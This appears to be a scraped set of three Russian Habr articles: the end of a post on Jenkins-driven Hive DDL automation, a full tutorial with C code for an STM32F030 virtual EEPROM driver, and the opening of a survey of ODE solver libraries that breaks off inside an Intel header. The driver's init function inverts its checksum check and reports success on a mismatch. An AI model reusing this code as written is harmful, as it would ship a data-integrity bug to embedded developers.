`user\_id` DECIMAL(38,0),
`bid` DECIMAL(38,0),
`quantity\_real` DECIMAL(38,5),
`load\_dttm` TIMESTAMP,
`src\_id` SMALLINT,
`package\_id` BIGINT,
`wf\_run\_id` BIGINT,
`md5` STRING
)
ROW FORMAT DELIMITED FIELDS TERMINATED BY '\t'
STORED AS INPUTFORMAT 'org.apache.hadoop.mapred.TextInputFormat' OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat'
LOCATION 'путь для формирования в hdfs'
TBLPROPERTIES ( 'auto.purge'='true', 'transient\_lastDdlTime'='1489060201');
insert into scheme.GP\_000001\_CPA\_CHARGE( `charge\_id`,
`svc\_id`,
`vnd\_id`,
`price`,
`quantity`,
`base`,
`tax`,
`total`,
`tax\_rate`,
`tax\_in`,
`charge\_kind`,
`privilege\_id`,
`charge\_ref\_id`,
`ebid`,
`invoice\_id`,
`zero\_state\_id`,
`user\_id`,
`bid`,
`quantity\_real`,
`load\_dttm`,
`src\_id`,
`package\_id`,
`wf\_run\_id`,
`md5`)
select `charge\_id`,
`svc\_id`,
`vnd\_id`,
`price`,
`quantity`,
`base`,
`tax`,
`total`,
`tax\_rate`,
`tax\_in`,
`charge\_kind`,
`privilege\_id`,
`charge\_ref\_id`,
`ebid`,
`invoice\_id`,
`zero\_state\_id`,
`user\_id`,
`bid`,
`quantity\_real`,
load\_dttm,
src\_id,
package\_id,
wf\_run\_id,
md5 from scheme.Z\_GP\_000001\_TABLE\_20180807;
Как автоматизировали
--------------------
Для решения задачи мы использовали:
* Jenkins — в качестве оркестратора и инструмента для реализации CI-процесса.
* Python — на нем реализована функциональность и unit-тесты.
* SQL — для обращения к базе метаданных.
* Shell script — для копирования артефактов между каталогами и формирования сценариев в multijob проектах, выполняемых на сервере Jenkins.
Начнем с того, что изначально мы работаем с большим количеством источников, поэтому с помощью Shell script в качестве параметра запуска передаем ID источников SQL-функциям для их идентификации. Полученные SQL-функции впоследствии будут автоматически выполнены в базе метаданных. На основе имеющихся метаданных эти функции формируют файл со списком новых SQL-функций для каждой из таблиц источника, чтобы мы их могли впоследствии вызвать в исполняемой программе. Результат выполнения сформированных функций — это передача в output-параметр значений DDL, JSON или EDWEX.
Здесь подключается Python, на котором написана вся исполняемая функциональность и unit-тесты. Перед запуском какого-либо из модулей раскатки артефактов с помощью unit-тестов проверяется корректная передача параметров для запуска python-скриптов. Тесты не только проверяют корректность параметров на входе, но и их наличие в модуле метаданных, размеры созданных файлов и даты их создания. Тесты также мониторят количество созданных новых артефактов и количество уже существующих артефактов. Так мы оптимизируем использование серверных ресурсов, поскольку берем для раскатки только новые файлы и не инсталлируем уже существующие модели заново.
И только после успешного прохождения всех проверок выполняется python-программа, которая создает необходимые артефакты и раскладывает полученный результат по необходимым папкам проектов на сервере. Python не только разбивает по каталогам сгенерированные json-файлы, но и формирует по ним структуры в Data Lake, чтобы данные загружались корректно. При формировании DDL-артефактов, они не только сохраняются для последующего анализа и переиспользования, но и сразу же могут быть инсталлированы в БД по новым моделям и структурам, указанным в модуле метаданных. Это позволяет создавать сотни таблиц за короткое время без привлечения ручного труда.
И где же тут Jenkins?
---------------------
Jenkins вступает, когда необходимо управлять всеми этими процессами наглядно при помощи интерфейса.
Данный инструмент был выбран, потому как он:
* полностью покрывает потребности в автоматизации сборки и инсталляции
* позволяет конструировать механизм сборки артефактов с внедрением процесса автотестирования
* позволяет легко управлять запусками джобов и мониторингом выполнения человеку, далекому от программирования
* позволяет настроить механизм логирования таким образом, что результат выполнения будет понятен любому человеку в команде. Явно будет указана проблема в сборке или же процесс будет выполнен успешно.
Для решения поставленных задач мы создали несколько multijob проектов. Такой тип проектов был использован, так как он может работать параллельно с другими джобами при единовременном запуске. Каждый из джобов отвечает за реализацию своего блока функциональности. Так мы заменили последовательный процесс получения артефактов на автономные параллельные. Все запускается раздельно: формирование EDWEX, JSON, DDL, формирование структуры в HIVE, инсталляция структур таблиц в БД. Мы анализируем полученный результат на разных этапах формирования артефактов и приступаем к запуску последующих действий в случае успеха.
Jenkins-часть реализована без особых ухищрений. На вход джобам подаются **String** или **Run** параметры для запуска python-кода. **String** параметр представляет из себя окно для ввода значения с типом str перед запуском. **Run** параметр может передаваться на лету другому джобу для исполнения, для этого достаточно всего лишь указать из какого проекта необходимо забрать полученную переменную. Также отдельным параметром передается нода для выполнения. Здесь как раз реализовано разбиение по средам выполнения на DEV, TST, UAT, PRD. Отдельным джобом выполнена передача полученных EDWEX файлов в SVN с номером ревизии для возможности отслеживания версий измененных структур.
Пример интерфейса в Jenkins:
Результат выполнения джобов — это создание и инсталляция необходимых артефактов, передача их в SVN и формирование HTML-отчета, который отображает успешность прохождения unit-тестов и результаты выполнения сборки и инсталляции артефактов. Джобы можно запускать как руками по отдельности, так и в автоматическом режиме, предварительно выстроив цепочку исполнения.
*Архитектура механизма сборки и инсталляции*
### Подведем итог
Была проделана большая работа по автоматизации формирования артефактов. Раньше нужно было вручную залезть на сервер, запустить shell скрипты, а затем долго изучать и править данные руками. Теперь достаточно нажать всего на кнопку запуска, указать ID системы источника, номер модели и контур исполнения. С помощью Jenkins удалось структурировать и разбить на независимые этапы весь механизм сборки и инсталляции артефактов. Были добавлены необходимые проверки перед запуском формирования артефактов и их интеграции. Полученные артефакты автоматически перекладываются в SVN, что упрощает работу с ними смежным командам системных аналитиков и дата-моделлерам. Реализованы проверки, чтобы избежать холостых запусков формирования артефактов и подтвердить их корректность.
В итоге мы сократили трудоемкий процесс сборки и инсталляции артефактов модели от нескольких часов до пары минут. А самое главное, устранили возникновение ошибок из-за человеческого фактора, которые неизбежно возникали в сложном рутинном процессе. | https://habr.com/ru/post/428101/ | null | ru | null |
# Пишем драйвер виртуального EEPROM для STM32F030
[](https://habr.com/ru/company/ruvds/blog/578690/)
Кто хотел сохранять какие-либо данные в FLASH микроконтроллера во время работы устройства сталкивались с особенностями работы с этим видом памяти. Из-за необходимости стирания страницы большого объёма для перезаписи ячейки FLASH памяти, возникает угроза потери данных из-за отключения питания во время процесса обновления (один из вариантов). В этой статье я расскажу как можно упростить работу с FLASH, да и ещё с гарантией сохранения данных при прерывании процедуры обновления на любом этапе. Реализуем это на STM32F030.
### ▍ Введение
Можно ли работать с FLASH памятью, так же как и с EEPROM? Почему бы и нет? Мы можем сделать прослойку в виде драйвера, который будет предоставлять интерфейс EEPROM, а внутри жонглировать FLASH памятью. Такая эмуляция EEPROM на FLASH памяти называется виртуальным EEPROM (VEEPROM). Такая шутка позволяет не только удобно работать с FLASH, но и даёт определённые гарантии на целостность данных.
Требования:
* Обеспечение сохранности данных при прерывании процесса чтения\записи на любом этапе
* Простой интерфейс, который даст возможность записывать по 1, 2, 4 и N байт
### ▍ Давайте немного подумаем
Страницы FLASH памяти имеют относительно большой размер (в STM32F030 страница имеет размер 1024 байта) и в случае необходимости записи 1 ячейки нам нужно стереть эти 1024 байта.
*Стоит сделать небольшое отступление. Требование к стиранию страницы перед записью актуально для FLASH памяти МК (для STM32F030 точно). На данный момент имеются внешние микросхемы FLASH памяти, которые умеют выполнять byte write operation.*
«Ну и что тут такого? Давайте сохраним данные в буфер RAM, сотрём страницу и запишем данные, делов-то». Для начала взглянем на datasheet STM32F030 и увидим там прекрасную таблицу:
 *Flash memory characteristics*
Нас интересует Page erase time — 30 ms, Карл! Этого времени достаточно, чтобы выдернуть питание, пока мы стираем страницу. В результате мы потеряем данные, т.к. мы их храним во временном буфере в RAM. К тому же, выделить буфер в RAM размером 1024 байта далеко не всегда можно.
Сохранность данных можно обеспечить работая с двумя страницами FLASH памяти, не копируя данные в RAM во время процедуры обновления. При записи мы копируем данные из одной страницы в другую, попутно меняя нужные ячейки. В итоге в одной странице хранятся актуальные данные, а в другой устаревшие. Такая процедура продолжается по кругу из одной страницы в другую при каждой операции записи. Всё же это не 100% решает проблему сохранности данных, т.к. при старте МК мы не сможем определить, какая из страниц содержит актуальные данные. Давайте думать дальше.
В нашем примере есть 2 страницы по 1024 байта, в этом случае размер VEEPROM будет равен 1014 байт: 10 байт мы забираем для хранения нужной драйверу информации: 2 байта под контрольную сумму и 8 байт для состояния страницы. Хранить эту информацию мы будем в конце страницы:
*Формат страниц*
Состояний страницы может быть 5: ERASED, WRITE, VALID, COPY, INVALID:
* INVALID — страница содержит устаревшие данные
* COPY — страница содержит актуальные данные, но уже началась процедура копирования данных в другую страницу
* VALID — страница содержит актуальные данные
* WRITE — в страницу пишутся данные
* ERASED — страница пустая
Почему так много байт под состояние? FLASH память в STM32F030 позволяет записывать данные только по 16 бит и после записи мы не сможем повторно как-то изменить значение этой ячейки без стирания целой страницы. Нужна возможность менять статус страницы без стирания, иначе мы вернёмся в начало. Так вот каждая ячейка по 16 бит кодирует одно из состояний. Думаю будет лучше показать их значения:
```
#define PAGE_STATE_INVALID ((uint64_t)(0x0000000000000000))
#define PAGE_STATE_COPY ((uint64_t)(0x000000000000FFFF))
#define PAGE_STATE_VALID ((uint64_t)(0x00000000FFFFFFFF))
#define PAGE_STATE_WRITE ((uint64_t)(0x0000FFFFFFFFFFFF))
#define PAGE_STATE_ERASED ((uint64_t)(0xFFFFFFFFFFFFFFFF))
```
Понимаете да о чём я? Нерационально, согласен. Я пытался это оптимизировать, но в голову ничего не пришло. Очень удачно, что статусы влезают в uint64\_t, и мы можем работать с ними в коде без танцев с бубном.
Если взглянуть на граф, то переход между состояниями сопровождается сбросом значения ячейки в 0x0000. Переходы по верхним стрелкам выполняются только 1 раз, когда VEEPROM ещё не был инициализирован или произошёл серьёзный сбой.
*Граф состояний*
В итоге мы получаем следующий алгоритм работы:
* **Инициализация**
1. Ищем страницу в состоянии VALID или COPY путём проверки состояния страницы. Состояние VALID имеет приоритет;
2. Если нашли, то сохраняем её адрес для последующей работы и завершаем на этом инициализацию;
3. Если не нашли, то берём любую страницу и стираем её. Этим мы автоматически переводим её в ERASED. В эту страницу и будут записываться новые данные. Запоминаем и завершаем инициализацию.
* **Запись данных**
1. Стираем вторую страницу, которая в INVALID, ERASED или WRITTING (при первом запуске тут мы получаем 2 пустые страницы, то что нужно);
Текущее состояние страниц: [VALID] [ERASED] или [ERASED] [ERASED];
2. Сбрасываем ячейку состояние первой страницы в 0х0000, переводя её в COPY. Состояние COPY нужно, чтобы избежать ситуации, при которой мы получим 2 страницы в состоянии VALID, при этом одна будет содержать более свежие данные. Нам нужна однозначность.
Текущее состояние страниц: [COPY] [ERASED];
3. Сбрасываем ячейку второй страницы в 0x0000, переводя её в WRITE. Это состояние нужно, на случай пропадания питания во время записи данных во вторую страницу. Без этого состояния страница останется в состоянии ERASED в процессе записи. Пробегаться каждый раз по всей странице, чтобы убедиться в её пустоте не очень хорошее решение.
Текущее состояние страниц: [COPY] [WRITE];
4. Копируем данные во вторую страницу и не забываем во время этого изменять требуемые ячейки на новые значения.
Текущее состояние страниц: [COPY] [WRITE];
5. Сбрасываем ячейку второй страницы в 0x0000, переводя её в VALID. *Вот тут у нас может получиться 2 страницы в VALID состоянии, если бы не было состояния COPY*
Текущее состояние страниц: [COPY] [VALID];
6. Сбрасываем ячейку второй страницы в 0x0000, переводя её в INVALID.
Текущее состояние страниц: [INVALID] [VALID];
По такому алгоритму гарантируется оптимальная сохранность данных в случае потери питания в середине этого процесса. На любой стадии мы будем иметь валидные данные и возможность однозначно определить страницу с ними, а это нам и нужно. Выглядит страшно, но, к сожалению это единственный метод иметь надёжную часто изменяемую область памяти внутри МК. Таков путь!
Давайте я лучше покажу это на уже реализованном примере. Тут я специально уменьшил размер страницы VEEPROM до 256 байт, чтобы удобно было смотреть.
1. Инициализация. Обе страницы пустые
2. Началась процедура записи данных. Стираем вторую страницу от прошлых итераций и переводим первую в состояние COPY
3. Переводим вторую страницу в состояние WRITE
4. Пишем данные
5. Незабываем про checksum (считаем и пишем)
6. Переводим вторую страницу в состояние VALID (почему бы и нет, она же содержит актуальные данные)
7. Переводим первую страницу в состояние INVALID (данные там устарели)
8. Делаем вторую страницу активной. Профит!
### ▍ Разделяй и властвуй
Итак, алгоритм работы понятен, но какие же нам страницы FLASH памяти выбрать для размещения VEEPROM в них? В 95% случаев берут либо первые, либо последние (я предпочитаю последние). Хорошо, теперь нам нужны адреса страниц — окунёмся в документацию.
*Большое «спасибо» STM за запихивание в один reference manual несколько МК, в итоге мне приходится тратить время на чтение великолепных сносок под таблицами. Ну сделайте вы эти таблицы отдельными, чтобы глазами глянуть и всё было сразу видно*
Нас интересует сноска под таблицей. В нашем случае память заканчивается на адресе 0x08003FFF (16 страниц FLASH по 1024 байта). Берём две последние страницы для VEEPROM с адресами 0x08003800-0x08003BFF и 0x08003C00-0x08003FFF.
У нас есть адреса страниц и нужно их зарезервировать, т.е. нужно дать знать линкеру, что в эти страницы код программы записывать нельзя. Я использую IAR для разработки и там есть .icf файл, в котором определены области памяти для каждого МК. Добавляем туда новый регион и не забываем уменьшить размер ROM региона на 2048 байт:
```
/*-Memory Regions-*/
define symbol __ICFEDIT_region_ROM_start__ = 0x08000000;
define symbol __ICFEDIT_region_ROM_end__ = 0x080037FF;
define symbol __ICFEDIT_region_VEEPROM_start__ = 0x08003800;
define symbol __ICFEDIT_region_VEEPROM_end__ = 0x08003FFF;
define symbol __ICFEDIT_region_RAM_start__ = 0x20000000;
define symbol __ICFEDIT_region_RAM_end__ = 0x20000FFF;
define region ROM_region = mem:[from __ICFEDIT_region_ROM_start__ to __ICFEDIT_region_ROM_end__ ];
define region VEEPROM_region = mem:[from __ICFEDIT_region_VEEPROM_start__ to __ICFEDIT_region_VEEPROM_end__];
define region RAM_region = mem:[from __ICFEDIT_region_RAM_start__ to __ICFEDIT_region_RAM_end__ ];
```
В целом можно просто уменьшить ROM, но лучше создать отдельный именованный регион, чтобы потом быстро вспомнить распределение FLASH памяти.
### ▍ Глянем реализацию
Начнём с лица — интерфейс:
```
// ***************************************************************************
/// @brief VEEPROM driver initializetion
/// @return true - init success, false - fail
// ***************************************************************************
extern bool veeprom_init();
// ***************************************************************************
/// @brief Mass erase VEEPROM
/// @return true - init success, false - fail
// ***************************************************************************
extern bool veeprom_mass_erase();
// ***************************************************************************
/// @brief Read data from VEEPROM
/// @param [in] veeprom_addr: virtual address [0x0000...size-1]
/// @param [out] buffer: pointer to buffer for data
/// @param [in] bytes_count: bytes count for read
/// @return true - init success, false - fail
// ***************************************************************************
extern bool veeprom_read(uint32_t veeprom_addr, uint8_t* buffer, uint32_t bytes_count);
extern uint8_t veeprom_read_8(uint32_t veeprom_addr);
extern uint16_t veeprom_read_16(uint32_t veeprom_addr);
extern uint32_t veeprom_read_32(uint32_t veeprom_addr);
// ***************************************************************************
/// @brief Write data to VEEPROM
/// @param [in] veeprom_addr: virtual address [0x0000...size-1]
/// @param [out] data: pointer to data for write
/// @param [in] bytes_count: bytes count for write
/// @return true - init success, false - fail
// ***************************************************************************
extern bool veeprom_write(uint32_t veeprom_addr, uint8_t* data, uint32_t bytes_count);
extern bool veeprom_write_8(uint32_t veeprom_addr, uint8_t value);
extern bool veeprom_write_16(uint32_t veeprom_addr, uint16_t value);
extern bool veeprom_write_32(uint32_t veeprom_addr, uint32_t value);
```
Прекрасно, не правда ли? Всё просто и без лишних параметров, адреса тут относительные [0x0000… SIZE — 1]. И ведь не подумаешь, что за таким интерфейсом скрываются ужасы работы с FLASH памятью.
Глянем реализацию. Весь замес происходит в функциях veeprom\_write и veeprom\_init, остальные функции либо обёртки, либо функции для сокращения кода.
**Код. Много кода**
```
// ***************************************************************************
/// @file veeprom.c
/// @author NeoProg
// ***************************************************************************
#include "veeprom.h"
#include "project_base.h"
#define FLASH_PAGE_SIZE (1024)
#define VEEPROM_SERVICE_HEADER_SIZE (10)
#define VEEPROM_PAGE_1_ADDR (0x08003800)
#define VEEPROM_PAGE_2_ADDR (0x08003C00)
#define VEEPROM_PAGE_SIZE (FLASH_PAGE_SIZE - VEEPROM_SERVICE_HEADER_SIZE)
#define PAGE_CHECKSUM_OFFSET (VEEPROM_PAGE_SIZE)
#define PAGE_STATE_OFFSET (VEEPROM_PAGE_SIZE + 2)
#define PAGE_STATE_INVALID ((uint64_t)(0x0000000000000000))
#define PAGE_STATE_COPY ((uint64_t)(0x000000000000FFFF))
#define PAGE_STATE_VALID ((uint64_t)(0x00000000FFFFFFFF))
#define PAGE_STATE_WRITE ((uint64_t)(0x0000FFFFFFFFFFFF))
#define PAGE_STATE_ERASED ((uint64_t)(0xFFFFFFFFFFFFFFFF))
static uint32_t active_page_addr = 0;
static uint32_t inactive_page_addr = 0;
static bool flash_lock();
static bool flash_unlock();
static bool flash_wait_and_check();
static bool flash_page_erase(uint32_t flash_addr);
static uint64_t flash_page_get_state(uint32_t flash_addr);
static bool flash_page_set_state(uint32_t flash_addr, uint64_t state);
static uint16_t flash_page_calc_checksum(uint32_t flash_addr);
static uint16_t flash_page_read_checksum(uint32_t flash_addr);
static bool flash_page_write_checksum(uint32_t flash_addr, uint16_t checksum);
static uint8_t flash_read_8(uint32_t flash_addr);
static uint16_t flash_read_16(uint32_t flash_addr);
static uint32_t flash_read_32(uint32_t flash_addr);
static bool flash_write_16(uint32_t flash_addr, uint16_t value);
// ***************************************************************************
/// @brief VEEPROM driver initializetion
/// @return true - init success, false - fail
// ***************************************************************************
bool veeprom_init() {
// Search active page
uint64_t page1_state = flash_page_get_state(VEEPROM_PAGE_1_ADDR);
uint64_t page2_state = flash_page_get_state(VEEPROM_PAGE_2_ADDR);
if (page1_state == PAGE_STATE_VALID) {
active_page_addr = VEEPROM_PAGE_1_ADDR;
inactive_page_addr = VEEPROM_PAGE_2_ADDR;
}
else if (page2_state == PAGE_STATE_VALID) {
active_page_addr = VEEPROM_PAGE_2_ADDR;
inactive_page_addr = VEEPROM_PAGE_1_ADDR;
}
else if (page1_state == PAGE_STATE_COPY) {
active_page_addr = VEEPROM_PAGE_1_ADDR;
inactive_page_addr = VEEPROM_PAGE_2_ADDR;
}
else if (page2_state == PAGE_STATE_COPY) {
active_page_addr = VEEPROM_PAGE_2_ADDR;
inactive_page_addr = VEEPROM_PAGE_1_ADDR;
}
else {
if (!flash_page_erase(VEEPROM_PAGE_1_ADDR)) {
return false;
}
active_page_addr = VEEPROM_PAGE_1_ADDR;
inactive_page_addr = VEEPROM_PAGE_2_ADDR;
return true;
}
// Check checksum
return flash_page_read_checksum(active_page_addr) != flash_page_calc_checksum(active_page_addr);
}
// ***************************************************************************
/// @brief Mass erase VEEPROM
/// @return true - init success, false - fail
// ***************************************************************************
bool veeprom_mass_erase() {
return flash_page_erase(VEEPROM_PAGE_1_ADDR) && flash_page_erase(VEEPROM_PAGE_2_ADDR);
}
// ***************************************************************************
/// @brief Read data from VEEPROM
/// @param [in] veeprom_addr: virtual address [0x0000...size-1]
/// @param [out] buffer: pointer to buffer for data
/// @param [in] bytes_count: bytes count for read
/// @return true - init success, false - fail
// ***************************************************************************
bool veeprom_read(uint32_t veeprom_addr, uint8_t* buffer, uint32_t bytes_count) {
if (veeprom_addr + bytes_count >= VEEPROM_PAGE_SIZE || !active_page_addr) {
return false;
}
while (bytes_count) {
*buffer = flash_read_8(active_page_addr + veeprom_addr);
++buffer;
--bytes_count;
}
return true;
}
uint8_t veeprom_read_8(uint32_t veeprom_addr) {
uint8_t data = 0;
veeprom_read(veeprom_addr, &data, sizeof(data));
return data;
}
uint16_t veeprom_read_16(uint32_t veeprom_addr) {
uint16_t data = 0;
veeprom_read(veeprom_addr, (uint8_t*)&data, sizeof(data));
return data;
}
uint32_t veeprom_read_32(uint32_t veeprom_addr) {
uint32_t data = 0;
veeprom_read(veeprom_addr, (uint8_t*)&data, sizeof(data));
return data;
}
// ***************************************************************************
/// @brief Write data to VEEPROM
/// @param [in] veeprom_addr: virtual address [0x0000...size-1]
/// @param [out] data: pointer to data for write
/// @param [in] bytes_count: bytes count for write
/// @return true - init success, false - fail
// ***************************************************************************
bool veeprom_write(uint32_t veeprom_addr, uint8_t* data, uint32_t bytes_count) {
// Erase inactive page (set ERASED state)
if (!flash_page_erase(inactive_page_addr)) {
return false;
}
flash_unlock();
// Set COPY state for active page
if (!flash_page_set_state(active_page_addr, PAGE_STATE_COPY)) {
flash_lock();
return false;
}
// Set WRITE state for inactive page
if (!flash_page_set_state(inactive_page_addr, PAGE_STATE_WRITE)) {
flash_lock();
return false;
}
// Copy data from active page into inactive with change data
for (uint32_t offset = 0; offset < VEEPROM_PAGE_SIZE; /* NONE */) {
uint8_t byte[2] = {0};
for (uint32_t i = 0; i < 2; ++i) {
if (offset >= veeprom_addr && offset < veeprom_addr + bytes_count) {
byte[i] = *data;
++data;
} else {
byte[i] = flash_read_8(active_page_addr + offset);
}
++offset;
}
uint16_t word = ((byte[0] << 8) & 0xFF00) | byte[1];
if (word != flash_read_16(inactive_page_addr + offset - 2)) {
// Write data
if (!flash_write_16(inactive_page_addr + offset - 2, word)) {
flash_lock();
return false;
}
}
}
// Calc checksum for inactive page
uint16_t checksum = flash_page_calc_checksum(inactive_page_addr);
if (!flash_page_write_checksum(inactive_page_addr, checksum)) {
flash_lock();
return false;
}
// Set VALID state for inactive page
if (!flash_page_set_state(inactive_page_addr, PAGE_STATE_VALID)) {
flash_lock();
return false;
}
// Set INVALID state for active page
if (!flash_page_set_state(active_page_addr, PAGE_STATE_INVALID)) {
flash_lock();
return false;
}
// Swap pages
uint32_t tmp = inactive_page_addr;
inactive_page_addr = active_page_addr;
active_page_addr = tmp;
flash_lock();
return true;
}
bool veeprom_write_8(uint32_t veeprom_addr, uint8_t value) {
return veeprom_write(veeprom_addr, &value, 1);
}
bool veeprom_write_16(uint32_t veeprom_addr, uint16_t value) {
return veeprom_write(veeprom_addr, (uint8_t*)&value, 2);
}
bool veeprom_write_32(uint32_t veeprom_addr, uint32_t value) {
return veeprom_write(veeprom_addr, (uint8_t*)&value, 4);
}
// ***************************************************************************
/// @brief Lock/unlock FLASH
/// @return true - init success, false - fail
// ***************************************************************************
static bool flash_lock() {
FLASH->CR |= FLASH_CR_LOCK;
return (FLASH->CR & FLASH_CR_LOCK) == FLASH_CR_LOCK;
}
static bool flash_unlock() {
if (FLASH->CR & FLASH_CR_LOCK) {
FLASH->KEYR = 0x45670123;
FLASH->KEYR = 0xCDEF89AB;
}
return (FLASH->CR & FLASH_CR_LOCK) != FLASH_CR_LOCK;
}
// ***************************************************************************
/// @brief Wait FLASH operation complete
/// @return true - operation comleted, false - operation comleted with error
// ***************************************************************************
static bool flash_wait_and_check() {
while (FLASH->SR & FLASH_SR_BSY);
if (FLASH->SR & (FLASH_SR_PGERR | FLASH_SR_WRPRTERR)) {
FLASH->SR |= FLASH_SR_PGERR | FLASH_SR_WRPRTERR | FLASH_SR_EOP;
return false;
}
FLASH->SR |= FLASH_SR_PGERR | FLASH_SR_WRPRTERR | FLASH_SR_EOP;
return true;
}
// ***************************************************************************
/// @brief Erase FLASH page
/// @param [in] flash_addr: page address for erase
/// @return true - success, false - fail
// ***************************************************************************
static bool flash_page_erase(uint32_t flash_addr) {
flash_unlock();
FLASH->CR |= FLASH_CR_PER;
FLASH->AR = flash_addr;
FLASH->CR |= FLASH_CR_STRT;
bool result = flash_wait_and_check();
FLASH->CR &= ~FLASH_CR_PER;
flash_lock();
return result;
}
// ***************************************************************************
/// @brief Get/set FLASH page state
/// @param [in] flash_addr: page address
/// @param [in] state: new page state (for flash_page_set_state)
/// @return true - success, false - fail
// ***************************************************************************
static uint64_t flash_page_get_state(uint32_t flash_addr) {
uint64_t state = 0;
for (uint8_t i = 0; i < 4; ++i) {
state = (state << 16) | flash_read_16(flash_addr + PAGE_STATE_OFFSET + i * 2);
}
return state;
}
static bool flash_page_set_state(uint32_t flash_addr, uint64_t state) {
uint64_t mask = 0xFFFF000000000000;
for (uint8_t i = 0; i < 4; ++i) {
if (state & mask) {
if (flash_read_16(flash_addr + PAGE_STATE_OFFSET + i * 2) != 0xFFFF) {
return false;
}
continue;
}
if (!flash_write_16(flash_addr + PAGE_STATE_OFFSET + i * 2, 0x0000)) {
return false;
}
mask >>= 16;
}
return true;
}
// ***************************************************************************
/// @brief Calc/read/write checksum
/// @param [in] flash_addr: page address
/// @param [in] checksum: new page checksum (for flash_page_write_checksum)
/// @return true - success, false - fail
// ***************************************************************************
static uint16_t flash_page_calc_checksum(uint32_t flash_addr) {
uint32_t bytes_count = VEEPROM_PAGE_SIZE;
uint16_t checksum = 0;
while (bytes_count) {
checksum += flash_read_8(flash_addr);
++flash_addr;
--bytes_count;
}
return checksum;
}
static uint16_t flash_page_read_checksum(uint32_t flash_addr) {
return flash_read_16(flash_addr + PAGE_CHECKSUM_OFFSET);
}
static bool flash_page_write_checksum(uint32_t flash_addr, uint16_t checksum) {
return flash_write_16(flash_addr + PAGE_CHECKSUM_OFFSET, checksum);
}
// ***************************************************************************
/// @brief Read data from FLASH in BE format
/// @param [in] flash_addr: page address
/// @param [in] state: new page state (for flash_page_set_state)
/// @return cell value
// ***************************************************************************
static uint8_t flash_read_8(uint32_t flash_addr) {
return *((uint8_t*)flash_addr);
}
static uint16_t flash_read_16(uint32_t flash_addr) {
return __REV16(*((uint16_t*)flash_addr));
}
static uint32_t flash_read_32(uint32_t flash_addr) {
return __REV(*((uint32_t*)flash_addr));
}
// ***************************************************************************
/// @brief Write word to FLASH in LE format
/// @param [in] flash_addr: page address
/// @param [in] value: new cell value
/// @return true - success, false - fail
// ***************************************************************************
static bool flash_write_16(uint32_t flash_addr, uint16_t value) {
FLASH->CR |= FLASH_CR_PG;
*((uint16_t*)flash_addr) = __REV16(value);
bool result = flash_wait_and_check();
FLASH->CR &= ~FLASH_CR_PG;
if (flash_read_16(flash_addr) != value) {
return false;
}
return result;
}
```
Есть крайне важное замечание, которое стоит сказать. В даташите на МК сказано следующее:
Если своими словами, то МК не может обращаться к FLASH памяти, пока мы с ней что-то делаем (стираем, пишем), в том числе и не может читать инструкции для выполнения. Т.е. по сути МК залипает. Для решения этой проблемы нужно использовать \_\_ramfunc — функции, инструкции которых хранятся в RAM, а не в FLASH и в этом случае программа будет продолжать работать. При использовании VEEPROM рекомендуется скопировать всю таблицу прерываний и все критичные обработчики в RAM. И не забываем про функции, которые вызываются из этих обработчиков. Не должно быть никакого обращения к FLASH, это важно. В нашем случае я не стал так глубоко закапываться и \_\_ramfunc опустил.
### ▍ Итоги
Какие из этого можно сделать выводы? VEEPROM требователен к ресурсам (2 физических страниц на 1 виртуальную) и на все эти танцы вокруг страниц создают кучу процессорных инструкций.
Производительность у него тоже не очень. Поэтому лучше всего писать данные большими пачками, иначе на каждый байт будут меняться страницы, а это 30мс + время на копирование данных из страницы в страницу. Неплохо так, да? Хуже некуда.
Тем не менее, когда целостность данных важна он их сохранит. Надеюсь, кому-то это поможет и натолкнёт на какую-нибудь мысль. Спасибо за внимание.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Neoprog&utm_content=pishem_drajver_virtualnogo_eeprom_dlya_stm32f030) | https://habr.com/ru/post/578690/ | null | ru | null |
# Обзор доступных библиотек для численного решения жёстких ОДУ
Создавая дополнения к отечественной математической программе [SMath Studio](http://en.smath.info/forum/), я нашёл в сети ряд библиотек, которые можно было бы использовать в своих программах. Предлагаю небольшой их обзор.
Стандартный RK45 с фиксированным шагом может помочь в большинстве случаев, но бывают задачи, где этого недостаточно. Для решения жёстких систем были придуманы специальные решатели, которые мы и рассмотрим с точки зрения их практического использования.
Большинство представленных ниже функций, если не оговорено особо, можно привести к одному формату вызова (по аналогии с Mathcad):
```
ode_solver( init, x1, x2, intvls, D(t, x) )
```
где:
* init — вектор начальных условий,
* (x1, x2) — отрезок интегрирования,
* intvls — количество интервалов на отрезке,
* D(t, x) — система ОДУ.
#### 1. Intel ODE Solvers Library
Содержит следующие функции: rkm9st(), mk52lfn(), mk52lfa(), rkm9mkn(), rkm9mka().
* rkm9st() — a specialized routine for solving non-stiff and middle-stiff ODE systems using the explicit method, which is based on the 4th order Merson’s method and the 1st order multistage method of up to and including 9 stages with stability control.
* mk52lfn() — a specialized routine for solving stiff ODE systems using the implicit method based on L-stable (5,2)-method with the numerical Jacobi matrix, which is computed by the routine.
* mk52lfa() — a specialized routine for solving stiff ODE systems using the implicit method based on L-stable (5,2)-method with numerical or analytical computation of the Jacobi matrix. The user must provide a routine for this computation.
* rkm9mkn() — a specialized routine for solving ODE systems with a variable or a priori unknown stiffness; automatically chooses the explicit or implicit scheme in every step and computes the numerical Jacobi matrix when necessary.
* rkm9mka() — a specialized routine for solving ODE systems with a variable or a priori unknown stiffness; automatically chooses the explicit or implicit scheme in every step. The user must provide a routine for numerical or analytical computation of the Jacobi matrix.
Библиотека написана на C со всеми вытекающими отсюда зависимостями. Доступны 32- и 64-разрядные версии библиотеки (libiode\_ia32.lib и libiode\_intel64.lib).
**intel\_ode.h**
```
/*******************************************************************************
! INTEL CONFIDENTIAL
! Copyright(C) 2007-2008 Intel Corporation. All Rights Reserved.
! The source code contained or described herein and all documents related to
! the source code ("Material") are owned by Intel Corporation or its suppliers
! or licensors. Title to the Material remains with Intel Corporation or its
! suppliers and licensors. The Material contains trade secrets and proprietary
! and confidential information of Intel or its suppliers and licensors. The
! Material is protected by worldwide copyright and trade secret laws and
! treaty provisions. No part of the Material may be used, copied, reproduced,
! modified, published, uploaded, posted, transmitted, distributed or disclosed
! in any way without Intel's prior express written permission.
! No license under any patent, copyright, trade secret or other intellectual
! property right is granted to or conferred upon you by disclosure or delivery
! of the Materials, either expressly, by implication, inducement, estoppel or
! otherwise. Any license under such intellectual property rights must be
! express and approved by Intel in writing.
!
!******************************************************************************
!
! Header file for Intel(R) ODE Solvers
!
!*******************************************************************************/
#ifndef _INTEL_ODE_H_
#define _INTEL_ODE_H_
#ifdef __cplusplus
